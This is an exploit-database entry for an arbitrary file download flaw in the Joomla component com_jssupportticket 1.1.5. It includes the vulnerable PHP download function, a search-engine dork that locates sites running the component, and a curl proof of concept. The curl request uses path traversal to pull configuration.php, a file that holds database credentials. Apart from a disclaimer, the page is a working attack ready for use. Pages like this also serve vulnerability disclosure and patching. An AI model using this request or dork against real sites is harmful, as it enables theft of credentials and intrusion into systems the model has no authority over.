Joomla! component js support ticket (component com_jssupportticket) 1.1.5 arbitrary file download Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-08-08 | Type : webapps | Platform : php
This exploit / vulnerability Joomla! component js support ticket (component com_jssupportticket) 1.1.5 arbitrary file download is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: http://joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
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#Vulnerability details:
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Vulnerable code is in line 1411 in file admin/models/ticket.php

1382 function getDownloadAttachmentByName($file_name,$id){
1383 if(empty($file_name)) return false;
1384 if(!is_numeric($id)) return false;
1385 $db = JFactory::getDbo();
1386 $filename = str_replace(' ', '_',$file_name);
1387 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
1388 $db->setQuery($query);
1389 $foldername = $db->loadResult();
1390
1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory');
1392 $base = JPATH_BASE;
1393 if(JFactory::getApplication()->isAdmin()){
1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator
1395 }
1396 $path = $base.'/'.$datadirectory;
1397 $path = $path . '/attachmentdata';
1398 $path = $path . '/ticket/' . $foldername;
1399 $file = $path . '/' . $filename;
1400
1401 header('Content-Description: File Transfer');
1402 header('Content-Type: application/octet-stream');
1403 header('Content-Disposition: attachment; filename=' . basename($file));
1404 header('Content-Transfer-Encoding: binary');
1405 header('Expires: 0');
1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
1407 header('Pragma: public');
1408 header('Content-Length: ' . filesize($file));
1409 //ob_clean();
1410 flush();
1411 readfile($file); //!!!
1412 exit();
1413 exit;
1414 }

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#PoC:
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$> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"